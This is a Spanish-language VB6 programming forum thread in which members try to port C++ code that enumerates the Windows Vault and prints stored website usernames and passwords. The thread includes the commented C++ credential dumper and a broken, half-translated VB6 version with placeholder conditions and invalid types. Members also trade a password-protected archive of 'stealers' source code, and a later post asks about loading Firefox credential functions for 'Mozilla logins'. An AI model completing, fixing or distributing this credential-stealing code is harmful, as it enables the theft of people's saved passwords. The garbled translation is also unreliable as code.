Autor Tema: COBEIN lee esto por favor...  (Leído 13288 veces)

0 Usuarios y 1 Visitante están viendo este tema.

79137913

  • Megabyte
  • ***
  • Mensajes: 185
  • Reputación: +21/-4
  • 4 Esquinas
    • Ver Perfil
    • Eco.Resumen Resumenes Cs. Economicas
Re:COBEIN lee esto por favor...
« Respuesta #15 en: Septiembre 03, 2013, 01:28:38 pm »
HOLA!!!

Aca estoy de nuevo, ya debo estar pesado...

Encontre este codigo (esta comentado) que extrae los logins del windows Vault para W7 y W8.

Me puse a traducirlo, pero como se muy poco de c++ no pude :(

Pueden ver si se puede hacer algo?

Código: (VB) [Seleccionar]
Private Declare Function LoadLibraryA Lib "kernel32" (ByVal lpLibFileName As String) As Long
Private Declare Function GetProcAddress Lib "kernel32" (ByVal hModule As Long, ByVal lpProcName As String) As Long
Private Declare Sub GetMem4 Lib "msvbvm60" (ByVal Addr As Long, RetVal As Long)
Private Declare Sub PutMem1 Lib "msvbvm60" (ByVal Addr As Long, ByVal NewVal As Byte)
Private Declare Sub PutMem2 Lib "msvbvm60" (ByVal Addr As Long, ByVal NewVal As Integer)
Private Declare Sub PutMem4 Lib "msvbvm60" (ByVal Addr As Long, ByVal NewVal As Long)
Private Declare Sub PutMem8 Lib "msvbvm60" (ByVal Addr As Long, ByVal NewVal As Currency)
Declare Function GetVersionExA Lib "kernel32" (lpVersionInformation As OSVERSIONINFO) As Integer
Public Type OSVERSIONINFO
    dwOSVersionInfoSize As Long
    dwMajorVersion As Long
    dwMinorVersion As Long
    dwBuildNumber As Long
    dwPlatformId As Long
    szCSDVersion As String * 128
End Type
Private Const VER_PLATFORM_WIN32s = 0
Private Const VER_PLATFORM_WIN32_WINDOWS = 1
Private Const VER_PLATFORM_WIN32_NT As Long = 2


'#define UNICODE
'#include <windows.h>
'
'#include <cstdio>
'#include <string>
'
'#pragma comment(lib, "user32.lib")
'
'VOID showError(DWORD dwError, PWCHAR pFmt, ...) {
'  PWCHAR pDetails;
'  WCHAR buffer[2048];
'
'  if (pFmt != NULL) {
'    va_list arglist;
'    va_start(arglist, pFmt);
'       wvsprintf(buffer, pFmt, arglist);
'       va_end(arglist);
'  }
'  FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM,
'      NULL, dwError, MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
'      (LPWSTR)&pDetails, 0, NULL);
'
'  wprintf(L"\n  %s : %s", buffer, pDetails);
'  LocalFree(pDetails);
'}
'
'typedef HANDLE HVAULT;
'
'#define VAULT_ENUMERATE_ALL_ITEMS 512
'
'GUID Vault_WebCredential_ID =
'{ 0x3CCD5499, 0x87A8, 0x4B10, 0xA2, 0x15, 0x60, 0x88, 0x88, 0xDD, 0x3B, 0x55 };
'
'enum VAULT_ELEMENT_TYPE {
Private Enum VAULT_ELEMENT_TYPE
'  ElementType_Boolean = 0,
    ElementType_Boolean = 0
'  ElementType_Short = 1,
    ElementType_Short = 1
'  ElementType_UnsignedShort = 2,
    ElementType_UnsignedShort = 2
'  ElementType_Integer = 3,
    ElementType_Integer = 3
'  ElementType_UnsignedInteger = 4,
    ElementType_UnsignedInteger = 4
'  ElementType_Double = 5,
    ElementType_Double = 5
'  ElementType_Guid = 6,
    ElementType_Guid = 6
'  ElementType_String = 7,
    ElementType_String = 7
'  ElementType_ByteArray = 8,
    ElementType_ByteArray = 8
'  ElementType_TimeStamp = 9,
    ElementType_TimeStamp = 9
'  ElementType_ProtectedArray = 0xA,
    ElementType_ProtectedArray = 10
'  ElementType_Attribute = 0xB,
    ElementType_Attribute = 11
'  ElementType_Sid = 0xC,
    ElementType_Sid = 12
'  ElementType_Last = 0xD,
    ElementType_Last = 13
'  ElementType_Undefined = 0xFFFFFFFF
    ElementType_Undefined = -1 'ESTO NO SE SI ESTA BIEN
'};
End Enum
'
'enum VAULT_SCHEMA_ELEMENT_ID {
Private Enum VAULT_SCHEMA_ELEMENT_ID
'  ElementId_Illegal = 0,
    ElementId_Illegal = 0
'  ElementId_Resource = 1,
    ElementId_Resource = 1
'  ElementId_Identity = 2,
    ElementId_Identity = 2
'  ElementId_Authenticator = 3,
    ElementId_Authenticator = 3
'  ElementId_Tag = 4,
    ElementId_Tag = 4
'  ElementId_PackageSid = 5,
    ElementId_PackageSid = 5
'  ElementId_AppStart = 0x64,
    ElementId_AppStart = 100
'  ElementId_AppEnd = 0x2710
    ElementId_AppEnd = 10000
'};
End Enum

'typedef struct _VAULT_CAUB {
Private Type VAULT_CAUB
'  DWORD NumBytes;
    NumBytes As Long
'PBYTE pByteArray;
    pByteArray() As Byte
'} VAULT_CAUB, *PVAULT_CAUB;--------------------?????????????'
End Type

'
'typedef struct _VAULT_VARIANT {
Private Type VAULT_VARIANT
'  VAULT_ELEMENT_TYPE Type;---------------------?????????????'
'  DWORD Unknown;
    Unknown As Long
'  union {
'    BOOL Boolean;
'    WORD Short;
'    WORD UnsignedShort;
'    DWORD Int;
'    DWORD UnsignedInt;
'    double Double;
'    GUID Guid;
'    LPCWSTR String;
'    VAULT_CAUB ByteArray;
'    VAULT_CAUB ProtectedArray;
'    DWORD Attribute;
'    DWORD Sid;
'  } vv;
'} VAULT_VARIANT, *PVAULT_VARIANT;
End Type ' ?????????????????????????????????????????????????????



'typedef struct _VAULT_ITEM_ELEMENT {
Private Type VAULT_ITEM_ELEMENT
'  VAULT_SCHEMA_ELEMENT_ID SchemaElementId;
    SchemaElementId As VAULT_SCHEMA_ELEMENT_ID
'  DWORD Unknown;
    Unknown As Long
'  VAULT_VARIANT ItemValue;
    ItemValue As VAULT_VARIANT
'} VAULT_ITEM_ELEMENT, *PVAULT_ITEM_ELEMENT; --------------??????????????
End Type
'
'typedef struct _VAULT_ITEM_W7 {
Private Type VAULT_ITEM_W7
'  GUID SchemaId;
    SchemaId As Guid '??????????????????????????????????????????????????????
'  LPCWSTR pszCredentialFriendlyName;
    pszCredentialFriendlyName As LPCWSTR '???????????????????????????????????
'  PVAULT_ITEM_ELEMENT pResourceElement;
    pResourceElement As VAULT_ITEM_ELEMENT
'  PVAULT_ITEM_ELEMENT pIdentityElement;
    pIdentityElement As VAULT_ITEM_ELEMENT
'  PVAULT_ITEM_ELEMENT pAuthenticatorElement;
    pAuthenticatorElement As VAULT_ITEM_ELEMENT
'  FILETIME LastModified;
    LastModified As FILETIME '?????????????????????????????????????????????????
'  DWORD dwFlags;
    dwFlags As Long
'  DWORD dwPropertiesCount;
    dwPropertiesCount As Long
'  PVAULT_ITEM_ELEMENT pPropertyElements;
    pPropertyElement As VAULT_ITEM_ELEMENT
'} VAULT_ITEM_W7, *PVAULT_ITEM_W7;
End Type

'typedef struct _VAULT_ITEM_W8 {
Private Type VAULT_ITEM_W8
'  GUID SchemaId;
    SchemaId As Guid '????????????????????????????????????
'  LPCWSTR pszCredentialFriendlyName;
    pszCredentialFriendlyName As LPCWSTR '?????????????????
'  PVAULT_ITEM_ELEMENT pResourceElement;
    pResourceElement As VAULT_ITEM_ELEMENT
'  PVAULT_ITEM_ELEMENT pIdentityElement;
    pIdentityElement As VAULT_ITEM_ELEMENT
'  PVAULT_ITEM_ELEMENT pAuthenticatorElement;
    pAuthenticatorElement As VAULT_ITEM_ELEMENT
'  PVAULT_ITEM_ELEMENT pPackageSid;
    pPackageSid As VAULT_ITEM_ELEMENT
'  FILETIME LastModified;
    LastModified As FILETIME '????????????????????????????
'  DWORD dwFlags;
    dwFlags As Long
'  DWORD dwPropertiesCount;
    dwPropertiesCount As Long
'  PVAULT_ITEM_ELEMENT pPropertyElements;
    pPropertyElements As VAULT_ITEM_ELEMENT
'} VAULT_ITEM_W8, *PVAULT_ITEM_W8;
End Type
'
'typedef struct _VAULT_ITEM {
Private Type VAULT_ITEM
'  std::wstring Account;
    Account As String
'  std::wstring Url;
    Url As String
'  FILETIME LastModified;
    LastModified As FILETIME
'  std::wstring UserName;
    UserName As String
'  std::wstring Password;
    Password As String
'} VAULT_ITEM, *PVAULT_ITEM;
End Type

'typedef DWORD (WINAPI *VaultEnumerateVaults)(DWORD dwFlags, PDWORD VaultsCount, GUID **ppVaultGuids);
'typedef DWORD (WINAPI *VaultEnumerateItems)(HVAULT VaultHandle, DWORD dwFlags, PDWORD ItemsCount, PVOID *Items);
'typedef DWORD (WINAPI *VaultOpenVault)(GUID *pVaultId, DWORD dwFlags, HVAULT *pVaultHandle);
'typedef DWORD (WINAPI *VaultCloseVault)(HVAULT VaultHandle);
'typedef DWORD (WINAPI *VaultFree)(PVOID pMemory);
'typedef DWORD (WINAPI *VaultGetItemW7)(HVAULT VaultHandle, GUID *pSchemaId, PVAULT_ITEM_ELEMENT pResource, PVAULT_ITEM_ELEMENT pIdentity, HWND hwndOwner, DWORD dwFlags, PVAULT_ITEM_W7 *ppItem);
'typedef DWORD (WINAPI *VaultGetItemW8)(HVAULT VaultHandle, GUID *pSchemaId, PVAULT_ITEM_ELEMENT pResource, PVAULT_ITEM_ELEMENT pIdentity, PVAULT_ITEM_ELEMENT pPackageSid, HWND hwndOwner, DWORD dwFlags, PVAULT_ITEM_W8 *ppItem);
'
'HMODULE hVaultLib;
'
'VaultEnumerateItems  pVaultEnumerateItems;
'VaultFree            pVaultFree;
'VaultGetItemW7       pVaultGetItemW7;
'VaultGetItemW8       pVaultGetItemW8;
'VaultOpenVault       pVaultOpenVault;
'VaultCloseVault      pVaultCloseVault;
'VaultEnumerateVaults pVaultEnumerateVaults;
'
'BOOL InitVault(VOID) {
Private Function InitVault() As Boolean
'   BOOL bStatus = FALSE;
    Dim bStatus As Boolean
'   hVaultLib = LoadLibrary(L"vaultcli.dll");
    Dim hVaultLib As Long: hVaultLib = LoadLibraryA("vaultcli.dll")
'   if (hVaultLib != NULL) {
    If hVaultLib <> 0 Then
'    pVaultEnumerateItems  = (VaultEnumerateItems)GetProcAddress(hVaultLib,  "VaultEnumerateItems");
        pVaultEnumerateItems = CallFunc("VaultEnumerateItems")
'       pVaultEnumerateVaults = (VaultEnumerateVaults)GetProcAddress(hVaultLib, "VaultEnumerateVaults");
        pVaultEnumerateVaults = CallFunc("VaultEnumerateVaults")
'       pVaultFree            = (VaultFree)GetProcAddress(hVaultLib,            "VaultFree");
        pVaultFree = CallFunc("VaultFree")
'       pVaultGetItemW7       = (VaultGetItemW7)GetProcAddress(hVaultLib,       "VaultGetItem");
        pVaultGetItemW7 = CallFunc("VaultGetItem")
'       pVaultGetItemW8       = (VaultGetItemW8)GetProcAddress(hVaultLib,       "VaultGetItem");
        pVaultGetItemW8 = CallFunc("VaultGetItem")
'       pVaultOpenVault       = (VaultOpenVault)GetProcAddress(hVaultLib,       "VaultOpenVault");
        pVaultOpenVault = CallFunc("VaultOpenVault")
'       pVaultCloseVault      = (VaultCloseVault)GetProcAddress(hVaultLib,      "VaultCloseVault");
        pVaultCloseVault = CallFunc("VaultCloseVault")
'
'       bStatus = (pVaultEnumerateVaults != NULL)
'         && (pVaultFree != NULL)
'         && (pVaultGetItemW7 != NULL)
'         && (pVaultGetItemW8 != NULL)
'         && (pVaultOpenVault != NULL)
'         && (pVaultCloseVault != NULL)
'         && (pVaultEnumerateItems != NULL);
        If pVaultEnumerateVaults <> 0 And _
           pVaultFree <> 0 And _
           pVaultGetItemW7 <> 0 And _
           pVaultGetItemW8 <> 0 And _
           pVaultOpenVault <> 0 And _
           pVaultCloseVault <> 0 And _
           pVaultEnumerateItems <> 0 _
           Then bStatus = True

    End If
'   return bStatus;
    InitVault = bStatus
'}
End Function

'BOOL IsOs_Win80rGreater(VOID) {
Private Function IsOs_Win80rGreater() As Boolean
    Dim osinfo As OSVERSIONINFO
    Dim retvalue As Integer
    Dim sOS As String
    osinfo.dwOSVersionInfoSize = 148
    osinfo.szCSDVersion = Space$(128)
    retvalue = GetVersionExA(osinfo)
    If osinfo.dwMajorVersion = 8 Then IsOs_Win80rGreater = True
'}
End Function


'BOOL GetItemW7(HVAULT hVault, PVAULT_ITEM_W7 ppItems, DWORD index, VAULT_ITEM &item) {
Private Function GetItemW7(hVault As hVault, ppItems As VAULT_ITEM_W7, index As Long, item As VAULT_ITEM) As Boolean
'  DWORD dwError;
    Dim dwError As Long
'
'  // is this a web credential?
'  if (memcmp(&Vault_WebCredential_ID, &ppItems[index].SchemaId, sizeof(GUID)) == 0) {
    If 0 = 1 Then '?????????????????????????????????????????????????????????????????????
'    item.Account = ppItems[index].pszCredentialFriendlyName;
    item.Account = ppItems(index).pszCredentialFriendlyName
'    item.Url = ppItems[index].pResourceElement->ItemValue.vv.String;
    item.Url = ppItems(index).pResourceElement
'    item.UserName = ppItems[index].pIdentityElement->ItemValue.vv.String;
    item.UserName = ppItems(index).pIdentityElement
'    memcpy(&item.LastModified, &ppItems[index].LastModified, sizeof(FILETIME));
    '    if (ppItems[index].dwPropertiesCount == 0) {
        If ppItems(index).dwPropertiesCount = 0 Then
    '      PVAULT_ITEM_W7 ppCredentials = NULL;
            Dim ppCredentials As VAULT_ITEM_W7
    '      dwError = pVaultGetItemW7(hVault,
    '            &ppItems[index].SchemaId, ppItems[index].pResourceElement,
    '            ppItems[index].pIdentityElement, NULL, 0, &ppCredentials);
            dwError = VaultGetItemW7(hVault, ppItems(index).SchemaId, ppItems(index).pResourceElement, _
                                    ppItems(index).pIdentityElement, vbNull, 0, ppCredentials)
    '      if (dwError == ERROR_SUCCESS) {
            If dwError = ERROR_SUCCESS Then
    '        item.Password = ppCredentials->pAuthenticatorElement->ItemValue.vv.String;
    '        pVaultFree(ppCredentials);
                VaultFree (ppCredentials)
    '      }
            End If
    '    }
        End If
    '  }
    End If
'  return dwError == ERROR_SUCCESS;
End Function
'
'BOOL GetItemW8(HVAULT hVault, PVAULT_ITEM_W8 ppItems, DWORD index, VAULT_ITEM &item) {
Private Function GetItemW8(hVault As hVault, ppItems As VAULT_ITEM_W8, index As Long, item As VAULT_ITEM) As Boolean
'  DWORD dwError;
    Dim dwError As Long
'
'  // is this a web credential?
'  if (memcmp(&Vault_WebCredential_ID, &ppItems[index].SchemaId, sizeof(GUID)) == 0) {
    If 0 = 1 Then ' ?????????????????????????????????????????????????????????????????????
'    item.Account = ppItems[index].pszCredentialFriendlyName;
        item.Account = ppItems(index).pszCredentialFriendlyName
'    item.Url = ppItems[index].pResourceElement->ItemValue.vv.String;
        item.Url = ppItems(index).pResourceElement
'    item.UserName = ppItems[index].pIdentityElement->ItemValue.vv.String;
        item.UserName = ppItems(index).pIdentityElement
'    memcpy(&item.LastModified, &ppItems[index].LastModified, sizeof(FILETIME));
'    if (ppItems[index].dwPropertiesCount == 0) {
        If ppItems(index).dwPropertiesCount = 0 Then
'      PVAULT_ITEM_W8 ppCredentials = NULL;
            Dim ppCredentials As VAULT_ITEM_W8
'      dwError = pVaultGetItemW8(hVault,
'            &ppItems[index].SchemaId, ppItems[index].pResourceElement,
'            ppItems[index].pIdentityElement, NULL, NULL, 0, &ppCredentials);
            dwError = VaultGetItemW8(hVault, ppItems(index).SchemaId, ppItems(index).pResourceElement, _
                                    ppItems(index).pIdentityElement, vbNull, vbNull, 0, ppCredentials)
'      if (dwError == ERROR_SUCCESS) {
'        item.Password = ppCredentials->pAuthenticatorElement->ItemValue.vv.String;
'        pVaultFree(ppCredentials);
'      }
'    }
'  }
'  return dwError == ERROR_SUCCESS;
'}
End Function
'
'void ListWebCredentials(void) {
Private Sub ListWebCredentials()
'   DWORD dwVaults, dwError;
    Dim dwVaults As Long
    Dim dwError As Long
'  HVAULT hVault;
    Dim hVaul As º
'  GUID *ppVaultGuids;
'  BOOL bWin80rGreater = IsOs_Win80rGreater();
    Dim bWin80rGreater As Boolean: bWin80rGreater = IsOs_Win80rGreater
'
'  dwError = pVaultEnumerateVaults(NULL, &dwVaults, &ppVaultGuids);
    dwError = VaultEnumerateVaults(vbNull, dwVaults, ppVaultGuids)

'  if (dwError != ERROR_SUCCESS) {
    If dwError <> ERROR_SUCCESS Then
'    showError(dwError, L"VaultEnumerateVaults");
        Exit Function
'    return;
    End If
'
'  // for each vault found
'  for (DWORD i = 0;i < dwVaults;i++) {
'    dwError = pVaultOpenVault(&ppVaultGuids[i], 0, &hVault);
'    // open it
'    if (dwError == ERROR_SUCCESS) {
'      PVOID ppItems;
'      DWORD dwItems;
'
'      // enumerate items
'      dwError = pVaultEnumerateItems(hVault, VAULT_ENUMERATE_ALL_ITEMS,
'          &dwItems, &ppItems);
'
'      if (dwError == ERROR_SUCCESS) {
'        // for each item
'        for (DWORD j = 0; j < dwItems; j++) {
'          VAULT_ITEM item;
'          BOOL bResult;
'          memset(&item, 0, sizeof(VAULT_ITEM));
'
'          if (bWin80rGreater) {
'            bResult = GetItemW8(hVault, (PVAULT_ITEM_W8)ppItems, j, item);
'          } else {
'            bResult = GetItemW7(hVault, (PVAULT_ITEM_W7)ppItems, j, item);
'          }
'
'          if (bResult) {
'            // application
'            wprintf(L"\n  Account name: %s", item.Account.c_str());
'
'            // web address
'            wprintf(L"\n  Website address (URL): %s", item.Url.c_str());
'
'            FILETIME ft, lt;
'            SYSTEMTIME st;
'            wchar_t modified[MAX_PATH];
'
'            FileTimeToLocalFileTime(&item.LastModified, &lt);
'            FileTimeToSystemTime(&lt, &st);
'
'            // last time it was updated
'            if (GetDateFormat(LOCALE_SYSTEM_DEFAULT, 0,
'                &st, L"MM/dd/yyyy", modified, MAX_PATH)) {
'              wprintf(L"\n  Last modified: %s", modified);
'            }
'            wprintf(L"\n  User Name: %s", item.UserName.c_str());
'            wprintf(L"\n  Password: %s\n", item.Password.c_str());
'          }
'        }
'        pVaultFree(ppItems);
'      } else {
'        showError(dwError, L"VaultEnumerateItems()");
'      }
'      pVaultCloseVault(hVault);
'    } else {
'      showError(dwError, L"VaultOpenVault()");
'    }
'  }
End Sub
'}
'
'VOID ConsoleSetBufferWidth(SHORT X) {
'  CONSOLE_SCREEN_BUFFER_INFO csbi;
'  GetConsoleScreenBufferInfo(GetStdHandle(STD_OUTPUT_HANDLE), &csbi);
'
'  if (X <= csbi.dwSize.X) return;
'  csbi.dwSize.X = X;
'  SetConsoleScreenBufferSize(GetStdHandle(STD_OUTPUT_HANDLE), csbi.dwSize);
'}
'
'int wmain(void) {
Public Sub Main()
'   if (InitVault()) {ListwebCredentials}
    If InitVault Then ListWebCredentials
End Sub

Private Function CallFunc(ByVal sFunction As String, ParamArray ParmLongs() As Variant) As Long
    Dim i As Long
    Dim j As Long
    If (StrComp(sLastFunc, sFunction) <> 0) Or bNewDLL Then
        nAddr = GetProcAddress(hMod, sFunction)
        PutMem4 pCode + PATCH_01, nAddr - pCode - (PATCH_01 + 4)
        bNewDLL = False
        sLastFunc = sFunction
    End If
    With pb
        j = UBound(ParmLongs)
        For i = 0 To j
            .Params(i) = ParmLongs(i)
        Next i
        .ParamCount = i                                         '(j + 1)
    End With
    CallFunc = z_DO_NOT_CALL(VarPtr(pb))                      'Execute the code buffer passing the address of the parameter block
End Function

Public Function z_DO_NOT_CALL(ByVal nAddrParamBlock As Long) As Long
End Function

GRACIAS POR LEER!!!
« última modificación: Septiembre 04, 2013, 12:05:01 pm por 79137913 »
"Como no se puede igualar a Dios, ya he decidido que hacer, ¡SUPERARLO!"
"La peor de las ignorancias es no saber corregirlas"

 79137913                          *Shadow Scouts Team*                                                          Resumenes Cs.Economicas

79137913

  • Megabyte
  • ***
  • Mensajes: 185
  • Reputación: +21/-4
  • 4 Esquinas
    • Ver Perfil
    • Eco.Resumen Resumenes Cs. Economicas
Re:COBEIN lee esto por favor...
« Respuesta #16 en: Septiembre 04, 2013, 12:05:56 pm »
HOLA!!!

Actualizo, ya traduje mucho mas de la funcion!!!

GRACIAS POR LEER!!!
"Como no se puede igualar a Dios, ya he decidido que hacer, ¡SUPERARLO!"
"La peor de las ignorancias es no saber corregirlas"

 79137913                          *Shadow Scouts Team*                                                          Resumenes Cs.Economicas

LeandroA

  • Administrador
  • Petabyte
  • *****
  • Mensajes: 1095
  • Reputación: +147/-8
    • Ver Perfil
Re:COBEIN lee esto por favor...
« Respuesta #17 en: Septiembre 04, 2013, 12:26:24 pm »
Hola, yo intente varias formas, pero me crashea el vb, no hay documentación sobre esta api, esta solo ese ejemplo que tampoco se si funciona, por lo visto es una dll CDECL pero como dije antes me explota

almenos algo sensillo antes de seguir
Código: (vb) [Seleccionar]
   Dim ppVaultGuids() As Guid
   Dim dwVaults As Long
   ReDim ppVaultGuids(20)
   
   cCDECL.DllLoad "vaultcli.dll"
   Call cCDECL.CallFunc("VaultEnumerateVaults", 0&, VarPtr(dwVaults), VarPtr(ppVaultGuids(0)))

el tipo Guid esta declarado en el vb, me queda la duda, si se declara en un TLB pueda llegar a safar.




Bazooka

  • Terabyte
  • *****
  • Mensajes: 950
  • Reputación: +31/-20
  • El pibe Bazooka
    • Ver Perfil
    • Desof sistemas
Re:COBEIN lee esto por favor...
« Respuesta #18 en: Junio 01, 2014, 09:43:24 pm »
Hola veo que en este post han utilizado la DLL sqlite3vb.dll y no la puedo encontrar todas las paginas me vueltean por todos lados.
Alguno la comparte?

Gracias
Todos somos muy ignorantes. Lo que ocurre es que no todos ignoramos las mismas cosas.

79137913

  • Megabyte
  • ***
  • Mensajes: 185
  • Reputación: +21/-4
  • 4 Esquinas
    • Ver Perfil
    • Eco.Resumen Resumenes Cs. Economicas
Re:COBEIN lee esto por favor...
« Respuesta #19 en: Junio 02, 2014, 08:35:43 am »
HOLA!!!

http://www.mediafire.com/download/9ddnzufoutl6dhh/SQLite3VB.rar

p.d:Alguien quiere los codigos de los stealers? Cobein los queres ?

GRACIAS POR LEER!!!
« última modificación: Junio 02, 2014, 08:44:37 am por 79137913 »
"Como no se puede igualar a Dios, ya he decidido que hacer, ¡SUPERARLO!"
"La peor de las ignorancias es no saber corregirlas"

 79137913                          *Shadow Scouts Team*                                                          Resumenes Cs.Economicas

Bazooka

  • Terabyte
  • *****
  • Mensajes: 950
  • Reputación: +31/-20
  • El pibe Bazooka
    • Ver Perfil
    • Desof sistemas
Re:COBEIN lee esto por favor...
« Respuesta #20 en: Junio 02, 2014, 09:25:56 am »
HOLA!!!

http://www.mediafire.com/download/9ddnzufoutl6dhh/SQLite3VB.rar

p.d:Alguien quiere los codigos de los stealers? Cobein los queres ?

GRACIAS POR LEER!!!


Muchas Gracias!! amigo

a mi me interesan los stealers !
Todos somos muy ignorantes. Lo que ocurre es que no todos ignoramos las mismas cosas.

79137913

  • Megabyte
  • ***
  • Mensajes: 185
  • Reputación: +21/-4
  • 4 Esquinas
    • Ver Perfil
    • Eco.Resumen Resumenes Cs. Economicas
Re:COBEIN lee esto por favor...
« Respuesta #21 en: Junio 02, 2014, 10:32:31 am »
HOLA!!!

Los codigos estan aca, Password del rar por privado asi no les damos navajas a los monos que pueden  ingresar aca por google. ;)

http://www.mediafire.com/view/6p6a6wg5roo07ow/stealers(3).rar

GRACIAS POR LEER!!!
"Como no se puede igualar a Dios, ya he decidido que hacer, ¡SUPERARLO!"
"La peor de las ignorancias es no saber corregirlas"

 79137913                          *Shadow Scouts Team*                                                          Resumenes Cs.Economicas

tomi

  • Bit
  • Mensajes: 3
  • Reputación: +0/-0
    • Ver Perfil
Re:COBEIN lee esto por favor...
« Respuesta #22 en: Junio 18, 2015, 09:18:39 pm »
Hi,

This might be an old topic but I was wondering if someone with great knowledge in c++  and vb6 would like to convert a code I've found for listening credentials from Windows Vault. Unlike the code above it doesn't contain the undocumented API VaultEnumerateVaults and its working great.

Thanks
« última modificación: Junio 18, 2015, 09:20:14 pm por tomi »

coco

  • Administrador
  • Terabyte
  • *****
  • Mensajes: 548
  • Reputación: +63/-3
    • Ver Perfil
Re:COBEIN lee esto por favor...
« Respuesta #23 en: Junio 19, 2015, 12:06:07 am »
Hi,

This might be an old topic but I was wondering if someone with great knowledge in c++  and vb6 would like to convert a code I've found for listening credentials from Windows Vault. Unlike the code above it doesn't contain the undocumented API VaultEnumerateVaults and its working great.

Thanks


Post it and I might do that. Not right now since I'm studying for finals.
'-     coco
(No me cabe: .NET, Java, Python ni Pascal)
SQLite - PIC 16F y 18F - VB6 - Electronica - Sonido y Ambientacion

gasafonso

  • Megabyte
  • ***
  • Mensajes: 175
  • Reputación: +4/-10
    • Ver Perfil
Re:COBEIN lee esto por favor...
« Respuesta #24 en: Junio 19, 2015, 02:22:54 pm »
Me envias el codigo del .rara ? gracias amigo

tomi

  • Bit
  • Mensajes: 3
  • Reputación: +0/-0
    • Ver Perfil
Re:COBEIN lee esto por favor...
« Respuesta #25 en: Enero 31, 2016, 02:19:12 pm »
Hi,

Does anyone knows why CallFunc("PK11_GetInternalKeySlot") could not be loaded on Windows 8 and Windows 10 from the code above for  Mozilla logins?
It always returns 0 instead of something else.